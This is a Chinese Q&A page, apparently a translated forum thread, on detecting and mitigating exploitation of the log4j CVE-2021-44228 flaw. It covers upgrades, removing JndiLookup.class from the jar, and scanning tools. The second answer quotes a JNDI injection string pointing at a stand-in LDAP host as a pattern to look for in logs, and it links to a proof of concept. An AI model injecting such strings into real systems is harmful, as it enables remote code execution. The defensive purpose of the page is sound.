如何检查我们的系统是否被log4j漏洞利用?

qnakjoqk  于 2022-11-06  发布在  其他
关注(0)|答案(2)|浏览(156)

最近报告了一个log4j漏洞:

  1. https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  2. https://www.randori.com/blog/cve-2021-44228/
  3. https://www.lunasec.io/docs/blog/log4j-zero-day/
    我如何确切地知道我的系统已被注入的任意代码攻击或利用?
    非常感谢
igetnqfo

igetnqfo1#

更新时间:2021年12月18日......

请记住,始终从下列资源中查找最新信息

CVE-2021-45105... 2.16.0和2.12.2不再是有效的修正!当前的修正版本是2.17.0(Java 8)和2.12.3(Java 7)。所有其他Java版本都必须采取权宜之计(从log4j-core JAR中删除JndiLookup.class文件)。

我已经相应地更新了我下面的消息。

直接回答问题:

Reddit thread: log4j_0day_being_exploited有几个资源可以帮助您。
检测漏洞

  • cntl + f表示Vendor Advisories。检查这些列表以查看您是否正在运行任何该软件。如果您正在运行并且有适用于它的更新,请更新。
  • 然后cntl + f for .class and .jar recursive hunter。在那里运行程序,如果它发现任何修复。
  • 如果要对系统执行手动主动测试以查找漏洞,也可以对Vulnerability Detection使用cntl + f

检测漏洞...这是更复杂的,我所做的就是直到你


虽然大多数需要知道的人可能已经知道足够做他们需要做的事情,但我想我还是会把这个以防万一...

  • 遵循这些资源中的指导...可能会发生变化,但是

截至2021年12月18日

基本上

  • 如果可能,请删除log4j-core JAR文件
  • 从两台正在运行的计算机立即修复,以及
  • 在源代码/源代码管理文件中,以防止将来的版本/发布/部署覆盖更改
  • 如果由于依赖关系而无法实现,请升级它们
  • 如果您运行的是Java8,则可以升级到log4j 2.17.0+
  • 如果您运行的是Java的早期版本,则可以升级到log4j 2.12.3
  • 如果您运行的是旧版本的Java,则需要升级到最新版本的Java,然后使用最新版本的Log4J
  • 同样,这些更改必须同时发生在运行的计算机和代码中
  • 如果由于某种原因,这两种方法都不可行......则存在从log4j-core JAR中删除JndiLookup.class文件的非补救性权宜之计。
  • 在Linux上,有一个使用zip命令的一行程序,默认情况下,该命令与大多数Linux发行版打包在一起。
  • zip -q -d "$LOG4J_JAR_PATH" org/apache/logging/log4j/core/lookup/JndiLookup.class
  • 在撰写本文时,Windows上的大多数在线指南都建议您执行以下操作(同样......假设您无法执行上述删除JAR或升级选项中的任何一个):
  • 安装类似7-zip的软件
  • 找到所有的log4j-core JAR文件,并对每个文件执行以下操作...
  • 重命名JAR以将扩展名更改为.zip
  • 使用7-zip解压缩JAR(现在扩展名为.zip
  • 从解压缩的文件夹中找到并删除JndiLookup.class文件
  • 路径为\\path\\to\\unzippedFolder\\org\\apache\\logging\\log4j\\core\\lookup\\JndiLookup.class
  • 删除旧的JAR文件(现在扩展名为.zip)
  • 使用7-zip重新压缩文件夹
  • 重命名新的.zip文件夹,将扩展名更改为.jar
  • 还有一些选项可供使用Power Shell
  • Reddit thread: log4j_0day_being_exploited
  • Ctrl+f代表“PowerShell”

如果您只有1或2个JAR文件需要处理,并且您不介意安装7-zip或您有PowerShell来完成此操作,这是没问题的。但是,如果您有很多JAR文件,或者如果您不想安装7-zip,并且无法访问Power Shell,我创建了一个开源VBS脚本,它将为您完成此操作,而无需安装任何其他软件。https://github.com/CrazyKidJack/Windowslog4jClassRemover
阅读README和发行说明https://github.com/CrazyKidJack/Windowslog4jClassRemover/releases/latest

9jyewag0

9jyewag02#

如果您看到类似以下内容的内容,则可以检查请求日志:

{jndi:ldap://example.com:1234/callback}

如果你想检查你是否会被攻击,你可以从Github运行一个POC。这个link似乎是第一个发布的POC。你现在可以找到其他的。
你也可以找到一个黑盒测试here

相关问题